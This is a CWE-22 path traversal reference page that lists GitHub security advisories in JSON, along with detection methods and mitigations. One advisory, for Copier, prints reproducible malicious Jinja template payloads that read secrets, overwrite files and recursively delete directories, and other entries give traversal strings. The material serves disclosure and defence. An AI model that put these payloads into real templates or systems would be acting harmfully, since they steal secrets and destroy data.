CWE-22
Weakness Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin" to access unexpected files. This is referred to as absolute path traversal.
Mapping guidance
This CWE entry might have children that would be more appropriate.
Examine children of this entry to see if there is a better fit. Consider children such as CWE-23 (or its descendants) for relative path traversal, or CWE-36 for absolute path traversal.
Relationships and members
Modes of introduction
Detection methods
Automated Static Analysis
Automated techniques can find areas where path traversal weaknesses exist. However, tuning or customization may be required to remove or de-prioritize path-traversal problems that are only exploitable by the product's administrator - or other privileged users - and thus potentially valid behavior or, at worst, a bug instead of a vulnerability.
Effectiveness: High
Manual Static Analysis
Manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all file access operations can be assessed within limited time constraints.
Effectiveness: High
Automated Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Cost effective for partial coverage:
Binary Weakness Analysis - including disassembler + source code weakness analysis
Effectiveness: High
Manual Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Web Application Scanner
Web Services Scanner
Database Scanners
Effectiveness: High
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Fuzz Tester
Framework-based Fuzzer
Effectiveness: High
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Manual Source Code Review (not inspections)
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Effectiveness: High
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer
Effectiveness: High
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Effectiveness: High
Notes
Other
In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to apply to a wider range of files. For example, the product may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.
Relationship
Pathname equivalence can be regarded as a type of canonicalization error.
Relationship
Some pathname equivalence issues are not directly related to directory traversal, rather are used to bypass security-relevant checks for whether a file/directory can be accessed by the attacker (e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a server to provide the file when it normally would not).
Terminology
Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of ".." and equivalent sequences whose specific meaning is to traverse directories.
Other variants like "absolute pathname" and "drive letter" have the *effect* of directory traversal, but some people may not call it such, since it doesn't involve ".." or equivalent.
Research Gap
Many variants of path traversal attacks are probably under-studied with respect to root cause. CWE-790 and CWE-182 begin to cover part of this gap.
Research Gap
Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is affected. For example, a researcher might say that "..\" is vulnerable, but not test "../" which may also be vulnerable.
Any combination of directory separators ("/", "\", etc.) and numbers of "." (e.g. "....") can produce unique variants; for example, the "//../" variant is not listed (CVE-2004-0325). See this entry's children and lower-level descendants.
Content history
Identified weakness in Perl demonstrative example
Provided diagram to improve CWE usability
Identified weakness in "good code" for Python demonstrative example
Provided a demonstrative example in PHP
updated Potential_Mitigations, Time_of_Introduction
Suggested OWASP Top Ten 2004 mapping
updated Alternate_Terms, Relationships, Other_Notes, Relationship_Notes, Relevant_Properties, Taxonomy_Mappings, Weakness_Ordinalities
updated Description
updated Relationships, Taxonomy_Mappings
updated Potential_Mitigations
updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Related_Attack_Patterns, Relationship_Notes, Relationships, Research_Gaps, Taxonomy_Mappings, Terminology_Notes, Time_of_Introduction, Weakness_Ordinalities
updated Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Potential_Mitigations, References, Relationships
updated Potential_Mitigations
updated Potential_Mitigations
updated Potential_Mitigations
updated Relationships
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
updated Demonstrative_Examples, References, Relationships
updated Potential_Mitigations
updated Observed_Examples
updated Related_Attack_Patterns, Relationships
updated Other_Notes, Research_Gaps
updated Detection_Factors, Relationships, Taxonomy_Mappings
updated Relationships
updated Related_Attack_Patterns
updated Demonstrative_Examples
updated Affected_Resources, Causal_Nature, Likelihood_of_Exploit, References, Relationships, Relevant_Properties, Taxonomy_Mappings
updated References, Relationships
updated References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
updated Related_Attack_Patterns, Relationships, Type
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updated Observed_Examples
updated Common_Consequences, Description, Diagram, Observed_Examples, Other_Notes, References
updated Demonstrative_Examples, Relationships
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16145 vulnerabilities reference this CWE, most recent first.
GHSA-3XQX-3W36-QFG8
Vulnerability from github – Published: 2022-10-13 12:00 – Updated: 2022-10-14 19:00SonicWall GMS is vulnerable to file path manipulation resulting that an unauthenticated attacker can gain access to web directory containing application's binaries and configuration files.
{
"affected": [],
"aliases": [
"CVE-2021-20030"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-10-13T11:15:00Z",
"severity": "HIGH"
},
"details": "SonicWall GMS is vulnerable to file path manipulation resulting that an unauthenticated attacker can gain access to web directory containing application\u0027s binaries and configuration files.",
"id": "GHSA-3xqx-3w36-qfg8",
"modified": "2022-10-14T19:00:39Z",
"published": "2022-10-13T12:00:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20030"
},
{
"type": "WEB",
"url": "https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0021"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3XR3-VRM2-6JC7
Vulnerability from github – Published: 2024-07-03 21:39 – Updated: 2024-11-08 00:30An issue was discovered in Artifex Ghostscript before 10.03.1. There is path traversal (via a crafted PostScript document) to arbitrary files if the current directory is in the permitted paths. For example, there can be a transformation of ../../foo to ./../../foo and this will grant access if ./ is permitted.
{
"affected": [],
"aliases": [
"CVE-2024-33870"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-03T19:15:03Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Artifex Ghostscript before 10.03.1. There is path traversal (via a crafted PostScript document) to arbitrary files if the current directory is in the permitted paths. For example, there can be a transformation of ../../foo to ./../../foo and this will grant access if ./ is permitted.",
"id": "GHSA-3xr3-vrm2-6jc7",
"modified": "2024-11-08T00:30:45Z",
"published": "2024-07-03T21:39:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-33870"
},
{
"type": "WEB",
"url": "https://bugs.ghostscript.com/show_bug.cgi?id=707686"
},
{
"type": "WEB",
"url": "https://www.openwall.com/lists/oss-security/2024/06/28/2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-3XVR-5RGG-F99F
Vulnerability from github – Published: 2022-05-02 04:00 – Updated: 2022-05-02 04:00Directory traversal vulnerability in index.php in In-Portal 4.3.1, when magic_quotes_gpc is disabled, allows remote attackers to read arbitrary files via a .. (dot dot) in the env parameter.
{
"affected": [],
"aliases": [
"CVE-2009-4986"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-08-25T20:00:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in index.php in In-Portal 4.3.1, when magic_quotes_gpc is disabled, allows remote attackers to read arbitrary files via a .. (dot dot) in the env parameter.",
"id": "GHSA-3xvr-5rgg-f99f",
"modified": "2022-05-02T04:00:21Z",
"published": "2022-05-02T04:00:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-4986"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/36165"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/9358"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2009/2164"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-3XW7-V6CJ-5Q8H
Vulnerability from github – Published: 2025-08-18 21:00 – Updated: 2025-08-18 21:00Impact
Copier's current security model shall restrict filesystem access through Jinja:
- Files can only be read using
{% include ... %}, which is limited by Jinja to reading files from the subtree of the local template clone in our case. - Files are written in the destination directory according to their counterparts in the template.
Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently read and write arbitrary files because we expose a few pathlib.Path objects in the Jinja context which have unconstrained I/O methods. This effectively renders our security model w.r.t. filesystem access useless.
Arbitrary read access
Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations, perhaps "masks" them with Base64 encoding to reduce detection risk, and hopes for a user to push the generated project to a public location like github.com where the template author can extract the secrets.
Reproducible example:
-
Read known file:
shell echo "s3cr3t" > secret.txt mkdir src/ echo "stolen secret: {{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().read_text('utf-8') }}" > src/stolen-secret.txt.jinja uvx copier copy src/ dst/ cat dst/stolen-secret.txt -
Read unknown file(s) via globbing:
shell mkdir secrets/ echo "s3cr3t #1" > secrets/secret1.txt echo "s3cr3t #2" > secrets/secret2.txt mkdir src/ cat <<'EOF' > src/stolen-secrets.txt.jinja stolen secrets: {% set parent = (_copier_conf.dst_path / '..' / 'secrets').resolve() %} {% for f in parent.glob('*.txt') %} {{ f }}: {{ f.read_text('utf-8') }} {% endfor %} EOF uvx copier copy src/ dst/ cat dst/stolen-secrets.txt
Arbitrary write access
Imagine, e.g., a malicious template author who creates a template that overwrites or even deletes files to cause havoc.
Reproducible examples:
-
Overwrite known file:
shell echo "s3cr3t" > secret.txt mkdir src/ echo "{{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().write_text('OVERWRITTEN', 'utf-8') }}" > src/malicious.txt.jinja uvx copier copy src/ dst/ cat secret.txt -
Overwrite unknown file(s) via globbing:
shell echo "s3cr3t" > secret.txt mkdir src/ cat <<'EOF' > src/malicious.txt.jinja {% set parent = (_copier_conf.dst_path / '..').resolve() %} {% for f in (parent.glob('*.txt') | list) %} {{ f.write_text('OVERWRITTEN', 'utf-8') }} {% endfor %} EOF uvx copier copy src/ dst/ cat secret.txt -
Delete unknown file(s) via globbing:
shell echo "s3cr3t" > secret.txt mkdir src/ cat <<'EOF' > src/malicious.txt.jinja {% set parent = (_copier_conf.dst_path / '..').resolve() %} {% for f in (parent.glob('*.txt') | list) %} {{ f.unlink() }} {% endfor %} EOF uvx copier copy src/ dst/ cat secret.txt -
Delete unknown files and directories via tree walking:
shell mkdir data mkdir data/a mkdir data/a/b echo "foo" > data/foo.txt echo "bar" > data/a/bar.txt echo "baz" > data/a/b/baz.txt tree data/ mkdir src/ cat <<'EOF' > src/malicious.txt.jinja {% set parent = (_copier_conf.dst_path / '..' / 'data').resolve() %} {% for root, dirs, files in parent.walk(top_down=False) %} {% for name in files %} {{ (root / name).unlink() }} {% endfor %} {% for name in dirs %} {{ (root / name).rmdir() }} {% endfor %} {% endfor %} EOF uvx copier copy src/ dst/ tree data/
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "copier"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.9.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-55201"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-18T21:00:23Z",
"nvd_published_at": "2025-08-18T17:15:29Z",
"severity": "HIGH"
},
"details": "### Impact\n\nCopier\u0027s current security model shall restrict filesystem access through Jinja:\n\n- Files can only be read using `{% include ... %}`, which is limited by Jinja to reading files from the subtree of the local template clone in our case.\n- Files are written in the destination directory according to their counterparts in the template.\n\nCopier suggests that it\u0027s safe to generate a project from a safe template, i.e. one that doesn\u0027t use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently read and write arbitrary files because we expose a few `pathlib.Path` objects in the Jinja context which have unconstrained I/O methods. This effectively renders our security model w.r.t. filesystem access useless.\n\n#### Arbitrary read access\n\nImagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations, perhaps \"masks\" them with Base64 encoding to reduce detection risk, and hopes for a user to push the generated project to a public location like [github.com](http://github.com/) where the template author can extract the secrets.\n\nReproducible example:\n\n- Read known file:\n\n ```shell\n echo \"s3cr3t\" \u003e secret.txt\n mkdir src/\n echo \"stolen secret: {{ (_copier_conf.dst_path / \u0027..\u0027 / \u0027secret.txt\u0027).resolve().read_text(\u0027utf-8\u0027) }}\" \u003e src/stolen-secret.txt.jinja\n uvx copier copy src/ dst/\n cat dst/stolen-secret.txt\n ```\n\n- Read unknown file(s) via globbing:\n\n ```shell\n mkdir secrets/\n echo \"s3cr3t #1\" \u003e secrets/secret1.txt\n echo \"s3cr3t #2\" \u003e secrets/secret2.txt\n mkdir src/\n cat \u003c\u003c\u0027EOF\u0027 \u003e src/stolen-secrets.txt.jinja\n stolen secrets:\n {% set parent = (_copier_conf.dst_path / \u0027..\u0027 / \u0027secrets\u0027).resolve() %}\n {% for f in parent.glob(\u0027*.txt\u0027) %}\n {{ f }}: {{ f.read_text(\u0027utf-8\u0027) }}\n {% endfor %}\n EOF\n uvx copier copy src/ dst/\n cat dst/stolen-secrets.txt\n ```\n\n#### Arbitrary write access\n\nImagine, e.g., a malicious template author who creates a template that overwrites or even deletes files to cause havoc.\n\nReproducible examples:\n\n- Overwrite known file:\n\n ```shell\n echo \"s3cr3t\" \u003e secret.txt\n mkdir src/\n echo \"{{ (_copier_conf.dst_path / \u0027..\u0027 / \u0027secret.txt\u0027).resolve().write_text(\u0027OVERWRITTEN\u0027, \u0027utf-8\u0027) }}\" \u003e src/malicious.txt.jinja\n uvx copier copy src/ dst/\n cat secret.txt\n ```\n\n- Overwrite unknown file(s) via globbing:\n\n ```shell\n echo \"s3cr3t\" \u003e secret.txt\n mkdir src/\n cat \u003c\u003c\u0027EOF\u0027 \u003e src/malicious.txt.jinja\n {% set parent = (_copier_conf.dst_path / \u0027..\u0027).resolve() %}\n {% for f in (parent.glob(\u0027*.txt\u0027) | list) %}\n {{ f.write_text(\u0027OVERWRITTEN\u0027, \u0027utf-8\u0027) }}\n {% endfor %}\n EOF\n uvx copier copy src/ dst/\n cat secret.txt\n ```\n\n- Delete unknown file(s) via globbing:\n\n ```shell\n echo \"s3cr3t\" \u003e secret.txt\n mkdir src/\n cat \u003c\u003c\u0027EOF\u0027 \u003e src/malicious.txt.jinja\n {% set parent = (_copier_conf.dst_path / \u0027..\u0027).resolve() %}\n {% for f in (parent.glob(\u0027*.txt\u0027) | list) %}\n {{ f.unlink() }}\n {% endfor %}\n EOF\n uvx copier copy src/ dst/\n cat secret.txt\n ```\n\n- Delete unknown files and directories via tree walking:\n\n ```shell\n mkdir data\n mkdir data/a\n mkdir data/a/b\n echo \"foo\" \u003e data/foo.txt\n echo \"bar\" \u003e data/a/bar.txt\n echo \"baz\" \u003e data/a/b/baz.txt\n tree data/\n mkdir src/\n cat \u003c\u003c\u0027EOF\u0027 \u003e src/malicious.txt.jinja\n {% set parent = (_copier_conf.dst_path / \u0027..\u0027 / \u0027data\u0027).resolve() %}\n {% for root, dirs, files in parent.walk(top_down=False) %}\n {% for name in files %}\n {{ (root / name).unlink() }}\n {% endfor %}\n {% for name in dirs %}\n {{ (root / name).rmdir() }}\n {% endfor %}\n {% endfor %}\n EOF\n uvx copier copy src/ dst/\n tree data/\n ```",
"id": "GHSA-3xw7-v6cj-5q8h",
"modified": "2025-08-18T21:00:23Z",
"published": "2025-08-18T21:00:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/copier-org/copier/security/advisories/GHSA-3xw7-v6cj-5q8h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55201"
},
{
"type": "WEB",
"url": "https://github.com/copier-org/copier/commit/3feea3b3ff3c20d80cbb16a2f3b9567ffc5606d1"
},
{
"type": "PACKAGE",
"url": "https://github.com/copier-org/copier"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Copier\u0027s safe template has arbitrary filesystem read/write access"
}
GHSA-3XWR-XCMC-7VQ6
Vulnerability from github – Published: 2023-08-03 18:30 – Updated: 2024-04-04 06:31A path traversal vulnerability exists in Suprema BioStar 2 before 2.9.1, which allows unauthenticated attackers to fetch arbitrary files from the server's web server.
{
"affected": [],
"aliases": [
"CVE-2023-33365"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-03T16:15:11Z",
"severity": "HIGH"
},
"details": "A path traversal vulnerability exists in Suprema BioStar 2 before 2.9.1, which allows unauthenticated attackers to fetch arbitrary files from the server\u0027s web server.",
"id": "GHSA-3xwr-xcmc-7vq6",
"modified": "2024-04-04T06:31:57Z",
"published": "2023-08-03T18:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-33365"
},
{
"type": "WEB",
"url": "https://claroty.com/team82/disclosure-dashboard/cve-2023-33365"
},
{
"type": "WEB",
"url": "https://kb.supremainc.com/knowledge/doku.php?id=en:release_note_291"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-422M-CG6F-H759
Vulnerability from github – Published: 2025-04-11 06:30 – Updated: 2026-04-08 18:33The InstaWP Connect – 1-click WP Staging & Migration plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 0.1.0.85 via the 'instawp-database-manager' parameter. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.
{
"affected": [],
"aliases": [
"CVE-2025-2636"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-11T05:15:31Z",
"severity": "CRITICAL"
},
"details": "The InstaWP Connect \u2013 1-click WP Staging \u0026 Migration plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 0.1.0.85 via the \u0027instawp-database-manager\u0027 parameter. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other \u201csafe\u201d file types can be uploaded and included.",
"id": "GHSA-422m-cg6f-h759",
"modified": "2026-04-08T18:33:52Z",
"published": "2025-04-11T06:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2636"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/instawp-connect/trunk/includes/database-manager/loader.php#L77"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3269681"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4c8f2c6f-c231-477c-895b-df892569ef95?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-424C-XCC5-XGCJ
Vulnerability from github – Published: 2022-05-17 04:13 – Updated: 2025-04-12 12:47Multiple directory traversal vulnerabilities in Magento Community Edition (CE) 1.9.1.0 and Enterprise Edition (EE) 1.14.1.0 allow remote authenticated users to include and execute certain PHP files via (1) .. (dot dot) sequences in the PATH_INFO to index.php or (2) vectors involving a block value in the ___directive parameter to the Cms_Wysiwyg controller in the Adminhtml module, related to the blockDirective function and the auto loading mechanism. NOTE: vector 2 might not cross privilege boundaries, since administrators might already have the privileges to execute code and upload files.
{
"affected": [],
"aliases": [
"CVE-2015-1398"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-04-29T22:59:00Z",
"severity": "MODERATE"
},
"details": "Multiple directory traversal vulnerabilities in Magento Community Edition (CE) 1.9.1.0 and Enterprise Edition (EE) 1.14.1.0 allow remote authenticated users to include and execute certain PHP files via (1) .. (dot dot) sequences in the PATH_INFO to index.php or (2) vectors involving a block value in the ___directive parameter to the Cms_Wysiwyg controller in the Adminhtml module, related to the blockDirective function and the auto loading mechanism. NOTE: vector 2 might not cross privilege boundaries, since administrators might already have the privileges to execute code and upload files.",
"id": "GHSA-424c-xcc5-xgcj",
"modified": "2025-04-12T12:47:37Z",
"published": "2022-05-17T04:13:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-1398"
},
{
"type": "WEB",
"url": "http://blog.checkpoint.com/2015/04/20/analyzing-magento-vulnerability"
},
{
"type": "WEB",
"url": "http://magento.com/blog/technical/critical-security-advisory-remote-code-execution-rce-vulnerability"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1032194"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-424G-QC5W-MHW6
Vulnerability from github – Published: 2025-07-16 12:30 – Updated: 2026-04-01 18:35Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in FWDesign Easy Video Player Wordpress & WooCommerce allows Path Traversal. This issue affects Easy Video Player Wordpress & WooCommerce: from n/a through 10.0.
{
"affected": [],
"aliases": [
"CVE-2025-28955"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-16T12:15:23Z",
"severity": "HIGH"
},
"details": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerability in FWDesign Easy Video Player Wordpress \u0026 WooCommerce allows Path Traversal. This issue affects Easy Video Player Wordpress \u0026 WooCommerce: from n/a through 10.0.",
"id": "GHSA-424g-qc5w-mhw6",
"modified": "2026-04-01T18:35:47Z",
"published": "2025-07-16T12:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-28955"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/theme/fwdevp/vulnerability/wordpress-easy-video-player-wordpress-woocommerce-10-0-arbitrary-file-download-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4252-96VF-89M5
Vulnerability from github – Published: 2022-05-14 03:08 – Updated: 2022-05-14 03:08Redatam7 (formerly Redatam WebServer) allows remote attackers to read arbitrary files via /redbin/rpwebutilities.exe/text?LFN=../ directory traversal.
{
"affected": [],
"aliases": [
"CVE-2018-12631"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-06-21T22:29:00Z",
"severity": "HIGH"
},
"details": "Redatam7 (formerly Redatam WebServer) allows remote attackers to read arbitrary files via /redbin/rpwebutilities.exe/text?LFN=../ directory traversal.",
"id": "GHSA-4252-96vf-89m5",
"modified": "2022-05-14T03:08:36Z",
"published": "2022-05-14T03:08:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-12631"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/44905"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-425C-W8PX-7Q9C
Vulnerability from github – Published: 2024-05-14 18:31 – Updated: 2024-05-14 18:31Path traversal vulnerability in “deleteFiles” function of Common Service Desktop, a GE HealthCare ultrasound device component
{
"affected": [],
"aliases": [
"CVE-2024-1629"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-14T17:15:29Z",
"severity": "MODERATE"
},
"details": "Path traversal vulnerability in \u201cdeleteFiles\u201d function of Common Service Desktop, a GE HealthCare ultrasound device component",
"id": "GHSA-425c-w8px-7q9c",
"modified": "2024-05-14T18:31:02Z",
"published": "2024-05-14T18:31:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1629"
},
{
"type": "WEB",
"url": "https://securityupdate.gehealthcare.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
